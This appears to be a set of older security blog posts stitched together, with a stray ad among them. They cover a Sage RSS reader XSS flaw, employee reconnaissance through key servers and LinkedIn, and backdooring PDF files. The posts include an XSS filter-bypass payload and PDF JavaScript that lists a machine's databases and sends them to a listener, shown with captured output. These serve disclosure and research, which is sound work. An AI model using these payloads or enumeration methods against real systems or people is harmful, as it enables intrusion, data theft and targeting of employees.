Operation n

2 months ago, both pdp any myself released a vulnerability “Cross Context Scripting in Sage”. This issue was resolved in Sage release 1.3.7 (see: http://mozdev.org/bugs/show_bug.cgi?id=15101). I found a new vulnerability which affects the latest version, Sage 1.3.8. In addition to the XSS vulnerability, it should be noted (as in the previous vulnerability) that this issue occurs within the Local Browser Context.

Background:
A number of popular online RSS readers allow images to be embedded within Feeds. It has been known for some time now, that the amount of people subscribed to your feed can be determined by using the image src functionality. This is interesting from an anonymity point of view. I was curious to know just how well these applications would prevent and/or restrict the “img onload” features.

Ironically, Sage seems to handle this quite well. It removes any “onload” attribute within an IMG element. Sage also completely removes offending JavaScript code. However, it fails to remove the script tags when inserted within the IMG element. In addition to this, it will actually end the IMG element for us. For example:

<img src=”http://michaeldaw.org/images/jss.jpg” <script>alert(’blah’);</script> ></img>
becomes:
<img src=”http://michaeldaw.org/images/jss.jpg” > <script>alert(’blah’);</script> </img>
Notice the trailing > is removed and added before our JavaScript code.

A proof of concept feed can be found here.
This feed will open “/etc/passwd” for Linux users and “…./etc/hosts” for MS Windows users. Please note I have not tested the Windows feed.

Targeted Web Attacks
Part 2 of Social Networks the New Fingerd
Author david.kierznowski_at_gmail.com
http://michaeldaw.org

1. Introduction

I recently released an article titled, “Social networks the New FingerD”. This article gave an example of using LinkedIn in passive username enumeration attacks. This article will discuss using Search engines and OpenPGP key servers as additional enumeration resources. None of these ideas are new, but in my opinion require a bit more light, especially when looking at RSnake’s recent XSS Top Vulnerability post

2. Purpose
At the moment XSS attack scenarios are very broad. XSS to create a botnet or propogate a worm etc etc. There is no real direction toward actual focused XSS exploitation. In theory one could own the continent(s) and then filter out specific targets, but lets face it, this is probably not the smartest thing to do.

3. The How?
My initial thoughts on targeted Web attacks “from the Internet” include some of the following ideas:

Backdooring the Company Homepage
Many users have their browser’s default (or startup) page set to the company website. However, this may not work in some cases as internal users often connect to an Intranet website rather then an Internet website. Another solution to this problem may be to backdoor another website associated with the company (i.e. company webmail, or Citrix Gateway).

Information Gathering Attacks
In most cases, specific exploitation requires fore-knowledge of our target. For example, Jane Daw works at company X as a legal secretary. Once this information is known any number of “specific” attacks can be launched. These attacks can occur via HTTP, Email, social engineering and password brute forcing to name a few.

Over the last month, pdp (architect) and I (was that the right way round, can never remember) have been working on backdooring a number of web technologoies. So far our list includes:
* Web Pages
* Flash
* Quicktime
* PDF
* MP3 (Although this uses Quicktime)

So the question still remains, what web resources do we have available to us to passively enumerate users within an organisation?

We have already discussed using Social Networks such as LinkedIn. Two other possibilities are as follows:
* Public Key Servers
* Search Engines

3.1 Public Key Servers

Public key servers allows a single repository for users to store their public keys on the Internet. This allows users to encrypt email between two parties easily without having to hastle the recipient for their public keys.

This service is an excellent resource to enumerate employee details within an organisation.

Example search for google.com using “http://keyserver.veridis.com:11371“:

--snip--
 Results 1 - 30 of about 41 for google.com. (0.019 seconds)
	Key(s) 	Key ID 	Size 	Creation 	Expiration

*hidden* *hidden*@google.com 	0x4F79C91B 	4096/1024 	2006/06/13 	2011/06/12
*hidden* *hidden*@google.com 	0x8475A4CF 	2048/1024 	2001/05/07 	Never
*hidden* *hidden*@google.com 	0x9038F60E 	2048/1024 	2001/02/20 	Never
*hidden* *hidden*@google.com 	0xE617F27A 	1024 	2005/07/13 	2006/07/13
*hidden* *hidden*@inodes.org 	0xD02F8773 	1024/1024 	2000/03/08 	Never
*hidden* *hidden*@google.com	0x20C9885A 	2048/1024 	2005/10/12 	Never
*hidden* *hidden*@red-bean.com 	0xEC6B5156 	1024/1024 	1998/11/09 	Never
*hidden* *hidden*@google.com 	0x4E844EF3 	1024 	2005/07/27 	2006/07/26
*hidden* *hidden*@google.com 	0x2349D344 	2048/1024 	2005/12/06 	2007/12/06
*hidden* *hidden*@google.com 	0x438046E4 	2048/1024 	2005/12/12 	Never
--snip--

3.2 Search Engine

Search engines when used correctly can yield very sensitive information. For more information on this see: http://johnny.ihackstuff.com/.

4. Tools

I was thinking about writing a tool to automate these checks, however, when bouncing it off pdp (architect), I found he had already done the work.

His tool is a little outdated but provides support for both Google and OpenPGP checks. It can be found at the following URL:
http://www.gnucitizen.org/projects/met/

Ring, ring…

“Hello?”
“Hi, I’m looking for Michael Daw?”
“Speaking, how may I help you?”
“Hi Michael, my name is Ian Lambert. I am a member of Pittman’s Recruitment. We specialise in security recruiting. We have a common acquaintance, Peter Smith?”
…

“Isn’t it true, its not what you know but who you know” I thought to myself as I put the phone down.

A spark went off in my head as I pondered over my conversation with Ian. How much information is available on social networks? My next question dismissed the first, “Why would I care?” I sat back in my comfortable lazy boy chair and let out a big sigh.

The old Unix finger daemon popped into my head. This service running on (79/TCP) allowed remote users to query a server for logged in users. Back in the day attackers loved this service. It meant they could remotely enumerate valid usernames. I logged into my Unix server to remind myself of the information disclosed via this service:

$ finger
Login     Name       	Tty      Idle  Login Time   Office     Office Phone
root      superman   	pts/0          Sep 11 18:11 (10.10.1.5)
michael  Michael Daw	pts/1          Sep 11 22:19 (10.10.1.90)

$ finger michael
Login: michael                              Name: Michael Daw
Directory: /home/michael                   Shell: /bin/bash
On since Sun Sep 11 18:11 (BST) on pts/0 from 10.10.1.90
   2 minutes 25 seconds idle
On since Sun Sep 11 22:19 (BST) on pts/1 from 10.10.1.90
New mail received Sun Sep 11 22:20 2006 (BST)
     Unread since Fri Aug 25 22:13 2006 (BST)
No Plan.

I then logged into LinkedIn.com, which is an Internet social network service, used mostly for business connections. It has over 2.5 million registered users, including 630,000 in Europe and 170,000 in Asia. Social networks were appearing everywhere. They included sites such as, www.facebook.com, www.myspace.com, www.classmates.com, www.sixdegrees.com, and www.friendster.com, to name a few.

A grin crossed my face as my eyes fell upon the “Search by company” option. I clicked my fingers and entered, Google (my favourite prey):

We found 17 users in your network matching your criteria:

    * Users currently at: google
    * Sorted by: keyword relevance

Who needs Finger I chuckled.

This was one technique that could be used in Targeted XSS Attacks using only HTTP (Hackers Totally Trusted Protocol).

References:
http://en.wikipedia.org/wiki/LinkedIn

Have you ever needed to edit a PDF file?  Try this PDF converter that can convert a pdf to word or excel in a flash.  It can even keep forms tables in their original format!

Updates:

• 20/09/07 - PDP’s PDF URI Parsing Vulnerability
• 04/01/06 - New PDF Vulnerability

Recently, there has been alot of hype involving backdooring various web technologies. pdp (arcitect) has done alot of work centered around this area.

I saw Jeremiah Grossman mention PDF’s being “BAD”, however, I was unable to easily locate any practical reasons as to why. I decided to investigate this a little further.

At first glance PDF documents seem obviously vulnerable. This is due to the fact that it supports JavaScript. However, there are quite a few twists and turns. It is by no means as straight forward as this.

Adobe supports its own JavaScript object model. For example, “alert(’xss’)” must be called from the app object, so this becomes “app.alert(’xss’)”. This means JavaScript attacks are limited to the functionality supported within Adobe. Secondly, Adobe Reader and Adobe Professional (the two apps I focus on in this article) are very different with regards to which JavaScript objects are allowed.

This article will give two practical examples of how Adobe Professional and Adobe Reader can be backdoored. There are 7 or more points where an attacker can launch malicious code. Both of the attacks discussed below are attached to the “Page Open” event.

The trigger can be accessed via “Page Properties | Actions tab”.

The first attack is simple and affects both Adobe Reader and Adobe Professional. It involves adding a malicious link into the PDF document. Once the document is opened, the user’s browser is automatically launched and the link is accessed. At this point it is obvious that any malicious code be launched. It is interesting to note that both Adobe 6 & 7 did not warn me before launching these URLs.

The second attack involves utilising Adobe’s ADBC (Adobe Database Connectivity) and Web Services support. The following proof of concept code accesses the Windows ODBC, enumerates available databases and then sends this information to “localhost” via the web service.

var cURL = "http://localhost/";
var cTestString = "";

var databaseList = ADBC.getDataSourceList();

var DB = "";
  if (databaseList != null) {
    for (var i=0; i<databaseList.length ; i++)
     DB+=databaseList[i].name;
   }

 cTestString = DB;

 var response = SOAP.request( {
   cURL: cURL,
   oRequest: {
     "http://myxmlns/:echoString": {
      inputString: cTestString
     }
   },
 cAction: "http://additional-opt/"
});

var result = response["http://no-need/:echoStringResponse"]["return"];

On the server side we get this:
$ ./nc.exe -l -p 80 -v
listening on [any] 80 ...
connect to [127.0.0.1] from localhost [127.0.0.1] 1924
POST / HTTP/1.1
Accept: */*
Content-Type: text/xml; charset=UTF-8
SOAPAction: "http://additional-opt/"
Content-Length: 578
User-Agent: Mozilla/3.0 (compatible; Acrobat SOAP 7.0)
Host: localhost
Connection: Keep-Alive
Cache-Control: no-cache

<?xml version="1.0"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xm
lns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w
3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><SOA
P-ENV:Body><ns0:echoString SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/so
ap/encoding/" xmlns:ns0="http://myxmlns/"><inputString xsi:type="xsd:string">MS
Access 97 DatabaseFoxPro FilesText FilesMS Access DatabaseExcel FilesdBASE Files
dbase1</inputString>
</ns0:echoString>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>

I am sure with a bit more creativity even simpler and/or more advanced attacks could be put together. Adobe Acrabat supports, “HTML forms”, “File system access” and the list goes on.
One of the other interesting finds was the fact that you can backdoor all Adobe Acrabat files by loading a backdoored JavaScript file into your %ADOBE-VERSION-DIR%\Acrobat\Javascripts directory.

Proof of concept for example 1 can be found here.
Proof of concept for example 2 can be found here.

Update:
http://michaeldaw.org/md-hacks/rss-injection-in-sage-part-2/

I would often keep abreast of new vulnerabilities and exploits via my RSS feeds. Visiting page after page was just never fun. RSS allowed me to categorise, organise and track the security mayhem on the Internet. What was the point of employing a security analyst who was outdated and outgunned?

I decided to play with Sage, which is a popular RSS extension for Mozilla Firefox. It had a friendly interface and a nice option to turn HTML tags on and off. This was a feature I was certainly interested in. It meant I could prevent a number of attacks outlined by SPI Dynamic’s recent RSS Injection whitepaper. The recommendation given in this paper was the typical recommendation given to XSS attacks. Escape “<>” to “&lt; &gt;”

I turned off HTML tags and continued on as normal. However, something odd happened. When rendering my whitepaper “Awakening the Sleeping Giant” an insert of JavaScript was executed in my browser. How bazaar I thought. The security enabled feature makes me vulnerable. Sage was vulnerable to XSS! I immediately contacted pdp (architect). We worked on it for 30 minutes and for those 30 minutes all you could hear were sinister laughs.

First: Sage rendered “&lt,&gt” as “<>”. This means JavaScript can be executed when HTML tags are turned off (not the default).

Second: Logical mental progression put forward the question, what if we reversed it? “&lt, &gt” became “<>” when HTML tags were turned on (THE DEFAULT). This means we can effectively hack the latest version of Sage via RSS Injection regardless of which mode is set.

Thirdly: Sage converts the feed into an HTML file and stores it on the local system. This means we were now in the browser’s local zone policy. From here we could read any file from the local system.

See GNUCITIZEN more proof of concept example.